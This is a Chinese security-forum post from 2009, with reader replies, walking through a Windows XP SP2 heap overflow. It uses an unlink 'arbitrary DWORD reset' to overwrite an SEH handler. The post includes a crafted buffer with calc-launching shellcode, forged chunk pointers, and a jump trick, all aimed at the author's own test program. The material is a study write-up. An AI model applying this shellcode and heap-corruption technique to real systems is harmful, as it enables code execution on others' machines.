首页
社区
课程
招聘
[原创]堆溢出精髓(arbitrary DWORD reset)分析与实践
发表于: 2009-12-5 14:25 21042

[原创]堆溢出精髓(arbitrary DWORD reset)分析与实践

2009-12-5 14:25
21042

前言:
用了2天时间把堆溢出研究了一下,起因是看了几篇有关堆溢出的文章,都谈及MOV [ECX],EAX、MOV [EAX+4],ECX让我一时无法理解,于是决定深入研究一下。现把学习成果回报看雪论坛的朋友,如有误导,概不负责(戴了钢盔不怕板砖)。
主要内容:
  一、堆溢出的感性认识;
  二、堆溢出分析与实践。
发现与解决的问题:
   1、arbitrary DWORD reset 实现的条件;
   2、failwest 大虾所说的指针反射现象的简单解决。         
一、堆溢出的感性认识
首先通过一个简单的程序来获取一个堆溢出的感性认识。由于我的toshiba本用了快7年了,硬盘刚退休,主板也驱动不了内置硬盘,只能插个U盘在pe下编程和调试(深山红叶XP Professional SP2、Vc++6.0 )。
将下面程序build为release版
#include <windows.h>
  char mybuf1[]="01234567890123456aaaa";
  char mybuf2[]="01234567890123456bbbb";
int main(int argc,char *argv[])
{
        HANDLE hHeap;
        char *buf1,*buf2;
        hHeap=HeapCreate(HEAP_GENERATE_EXCEPTIONS,0x10000,0xfffff);
        buf1=(char *)HeapAlloc(hHeap,0,48);
        strcpy(buf1,mybuf1);
        buf2=(char *)HeapAlloc(hHeap,0,48);
        strcpy(buf2,mybuf2);
        HeapFree(hHeap,0,buf1);
        HeapFree(hHeap,0,buf2);
        return 0;
}
在OD中数据窗口可以看到以下的数据:
当hHeap=HeapCreate(HEAP_GENERATE_EXCEPTIONS,0x10000,0xfffff)执行后,
两个双向链表指针88 06 41 00 88 06 41 00
00410170   00 00 00 00 00 00 00 00 88 06 41 00 88 06 41 00   
00410180   80 01 41 00 80 01 41 00 88 01 41 00 88 01 41 00   

00410678偏移处指针总是指向可分配块的块首,这里是 8字节的30 1F 08 00 00 10 00 00
和两个双向链表指针 78 01 41 00 78 01 41 00
00410678  80 06 41 00 00 00 00 00 30 1F 08 00 00 10 00 00  
00410688  78 01 41 00 78 01 41 00 00 00 00 00 00 00 00 00   
00410698  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   
004106A8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   
004106B8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
004106C8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
第一次堆分配buf1=(char *)HeapAlloc(hHeap,0,48)执行完后,可分配块的块首就到了004106b8
这里就是29 1F 07 00 00 10 00 00 78 01 41 00 78 01 41 00 此时双向链表头的内容也发生了变化,更新为C0 06 41 00 C0 06 41 00,指向了新的可分配块中的两个双向链表指针。
00410678  B8 06 41 00 00 00 00 00 07 00 08 00 CC 01 08 00  
00410688  78 01 41 00 78 01 41 00 00 00 00 00 00 00 00 00   
00410698  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   
004106A8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
004106B8 29 1F 07 00 00 10 00 00 78 01 41 00 78 01 41 00   
004106C8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
00410170  00 00 00 00 00 00 00 00 C0 06 41 00 C0 06 41 00   
00410180  80 01 41 00 80 01 41 00 88 01 41 00 88 01 41 00  
第二次堆分配buf2=(char *)HeapAlloc(hHeap,0,48)执行后,可分配块的块首就到了004106f0
这里就是 22 1F 07 00 00 10 00 00 78 01 41 00 78 01 41 00此时双向链表头的内容也发生了变化
更新为 F8 06 41 00 F8 06 41 00,指向了新的可分配块中的两个双向链表指针。
00410678  F0 06 41 00 00 00 00 00 07 00 08 00 CC 01 08 00   
00410688  30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35   
00410698  36 61 61 61 61 00 00 00 00 00 00 00 00 00 00 00   
004106A8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   
004106B8  07 00 07 00 CB 01 08 00 78 01 41 00 78 01 41 00  
004106C8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  
004106D8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   
004106E8  00 00 00 00 00 00 00 00 22 1F 07 00 00 10 00 00  
004106F8  78 01 41 00 78 01 41 00 00 00 00 00 00 00 00 00  
00410170  00 00 00 00 00 00 00 00 F8 06 41 00 F8 06 41 00   
00410180  80 01 41 00 80 01 41 00 88 01 41 00 88 01 41 00  
总结:每次分配堆块时,都要把可分配块的块首(尾块)往后移动,为新块腾出空间,并为新块填充好块首结构,只有8个字节,后面是块身。块的大小通常由块首结构中前4个字节计算得到。(新块也就是占用的块是不需要那两个双向链表指针的)。双向链表头的内容也要相应更新,始终指向可分配块中的两个双向链表指针,而尾块中的那两个双向链表指针的值是不变的,始终指向双向链表的头。

test1-1.JPG

test1-2.JPG
二、堆溢出分析与实践
下面的mybuf已经构造好
#include <windows.h>
char mybuf[]="\x75\x0a\x74\x08\x90\x90\x90\x90\x90\x90\x90\x90\x6A\x00\x68\x2E"
             "\x65\x78\x65\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\xE8\xa3\x0a"
             "\x45\x7c\x6A\x00\xE8\xf1\xc3\x40\x7c\x90\x90\x90\x90\x90\x90\x90"
             "\x29\x1F\x07\x00\x00\x10\x00\x00\x88\x06\x41\x00\x54\xff\x12\x00";
int main(int argc,char *argv[])
{
        HANDLE hHeap;
        char *buf1,*buf2;
        hHeap=HeapCreate(HEAP_GENERATE_EXCEPTIONS,0x10000,0xfffff);
        buf1=(char *)HeapAlloc(hHeap,0,48);
        memcpy(buf1,mybuf,0x40);     //注意:上面如果用strcpy,在shellcode中将不能出现00,否则会截断
        buf2=(char *)HeapAlloc(hHeap,0,8);//该处进入ntdll.dll空间是溢出的关键
        HeapFree(hHeap,0,buf1);
        HeapFree(hHeap,0,buf2);
        return 0;
}
//0012ff54是我本机上调试出的SEH回调句柄,在OD中的View->SEH chain窗口中可以看到离栈顶最近的一个SEH链表指针这里是0012ff50,它指向 the pointer of Next SEH record,而0012ff54指向的是SE handler,这里堆溢出用了SEH来实现。
//00410688是我的shellcode的起始地址(调试得到),利用ntdll.dll中的堆操作代码将00410688写入0012ff54所在的位置。如果arbitraryDWORD reset执行后发生异常就会执行我们的shellcode.
"\x29\x1F\x07\x00\x00\x10\x00\x00是尾块的块首,可以自行构造,不在arbitraryDWORD reset执行前发生异常即可。前三行就是shellcode。
"\x75\x0a\x74\x08” 是解决failwest 大虾所说的指针反射现象的关键之处。

test2-1.JPG
图中高亮部分就是构造的堆溢出数据覆盖掉了尾块的块首以及两个双向链表指针。
调试过程中发现在ntdll.dll空间中下面代码处
7C931414    8D56 08        LEA EDX,DWORD PTR DS:[ESI+8]
7C931417    8995 F4FEFFFF  MOV DWORD PTR SS:[EBP-10C],EDX
7C93141D    8B02           MOV EAX,DWORD PTR DS:[EDX]
7C93141F    8985 94FEFFFF  MOV DWORD PTR SS:[EBP-16C],EAX //eax伪造的尾块前向指针
7C931425    8B4A 04        MOV ECX,DWORD PTR DS:[EDX+4]
7C931428    898D ECFEFFFF  MOV DWORD PTR SS:[EBP-114],ECX //ecx 伪造的尾块后向指针
7C93142E    8B39           MOV EDI,DWORD PTR DS:[ECX]       //可能出现内存访问异常
7C931430    3B78 04        CMP EDI,DWORD PTR DS:[EAX+4]  //下面判断指针是否被人为修改
7C931433    0F85 472F0200  JNZ ntdll.7C954380
7C931439    3BFA           CMP EDI,EDX
7C93143B    0F85 3F2F0200  JNZ ntdll.7C954380
7C931441    8901            MOV DWORD PTR DS:[ECX],EAX    //未修改过再拆卸链表
7C931443    8948 04         MOV DWORD PTR DS:[EAX+4],ECX //这就是传说中的两行代码
解决的第一个问题,也就是利用上面两行操作进行的arbitraryDWORDreset。我认为arbitraryDWORD reset实现的条件:nop掉这几句,可能failwest大虾写书的时候这里还没有打上补丁,或许是本人太菜的缘故。
解决的第二个问题,failwest 大虾所说的指针反射现象。也就是传说中的第二行代码MOV [EAX+4],ECX,它会破坏我们的 shellcode中的第二个DWORD,可惜0day安全:软件漏洞分析技术一书中是这样说的“指针反射发生且不能当作无关痛痒的指令安全执行过去,那就得开动脑筋使用别的目标,或者使用跳板技术。要不然就只有自认倒霉了”。怎么才能不自认倒霉呢?只有shellcode最前面4个字节可以做手脚,且最好跳过这个回写的DWORD,用条件跳转指令
00410688   /75 0A           JNZ SHORT 00410694
0041068A   |74 08           JE SHORT 00410694
不管zf是0还是1都会跳过前面的垃圾DWORD,正好四个字节!


  最后要感谢failwest大虾的书,虽然有点贵,还是有所启发!
                                                   by 天易love
                                                                            2009-12-05


[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 7
支持
分享
最新回复 (21)
雪    币: 113
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
- -..我说...JMP也有两个字节的短转跳的好不好.....

不错嘛...不过.这个..总觉得有点问题..唉.算了..继续搞安全软件去..
2009-12-5 21:22
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
3
不好意思,让前辈见笑了,昨晚调试到十二点有点困,本来输入JMP的,看成了5个字节。这里用JMP可以省两个字节,不需要再用技巧。前面有免责声明,如有误导,概不负责:-)
2009-12-5 22:06
0
雪    币: 183
活跃值: (1223)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
谢谢LZ   收藏
2009-12-5 22:20
0
雪    币: 433
活跃值: (1870)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
5
support!
2009-12-5 22:47
0
雪    币: 377
活跃值: (10)
能力值: ( LV9,RANK:170 )
在线值:
发帖
回帖
粉丝
6
电脑用了7年了
2009-12-12 00:58
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
7
东芝用到第七年主板开始驱动不了内置硬盘,只能pe下使用移动存储介质,光驱正常、声卡正常、显示屏正常、触控板正常、内存正常、电池、电源适配器正常。后悔用了虚拟机,不然还能创造更多剩余价值。不知道联想质量如何?
2009-12-12 09:16
0
雪    币: 267
活跃值: (24)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
8
failwest的书差点比看雪的都贵了,哈哈!
2009-12-12 11:32
0
雪    币: 242
活跃值: (1664)
能力值: ( LV9,RANK:410 )
在线值:
发帖
回帖
粉丝
9
非常好,学习了
2009-12-12 18:44
0
雪    币: 1329
活跃值: (5184)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10
谢谢LZ   收藏
2009-12-12 19:00
0
雪    币: 417
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
支持东芝,我们宿舍的一群贱人总是说东芝不好,现在他们没话说了吧
2010-1-8 11:20
0
雪    币: 173
活跃值: (132)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
12
mark下...
2010-1-8 12:08
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
13
用MARK做关键字不一定灵,很多人都喜欢用它,而且违反坛规。
2010-1-8 13:10
0
雪    币: 57
活跃值: (55)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
14
做个标记  回头看看
2010-8-30 19:30
0
雪    币: 31
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
楼主还在否?可否请教,偶在sp3下做该实验,发现了好几个问题,执行不到ntdll的关键代码处,异常就被触发了。。。
2010-11-9 17:00
0
雪    币: 2015
活跃值: (902)
能力值: ( LV12,RANK:1000 )
在线值:
发帖
回帖
粉丝
16
我也没搞清楚Failwest前辈是怎么调试成功的,这就是差距,也许那是一个传说。前辈都在致力于把文字变成钞票,我等菜鸟都去书店买知识吧!
2010-11-9 17:53
0
雪    币: 31
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
又在SP2下看了下,为啥我的机子上第二个分配句柄得到的是004106D0而不是楼主所说的004106F0呢,好像堆块除了块首还有块尾??而且上面这个还是调试态下的地址,运行时貌似还地址是00900688,望楼主不吝赐教哇。。。
2010-11-9 20:35
0
雪    币: 81
活跃值: (40)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
18
up楼主,学习了。。
2010-11-12 18:43
0
雪    币: 173
活跃值: (132)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
19
我调试了下,压根就没触发异常,顺便问下,该处进入ntdll.dll空间是什么时候改写seh地址的?我是小菜,望不吝赐教
2011-11-5 13:54
0
雪    币: 12
活跃值: (220)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
那本书好像讲攻击seh有很多局限性,在多线程环境下,事实有很多更好的备选方案
2011-11-21 17:07
0
雪    币: 408
活跃值: (156)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
21
mark`~
2011-11-21 17:21
0
雪    币: 188
活跃值: (85)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
22
留个记号,学习一下
2011-11-21 19:42
0
游客
登录 | 注册 方可回帖
返回
//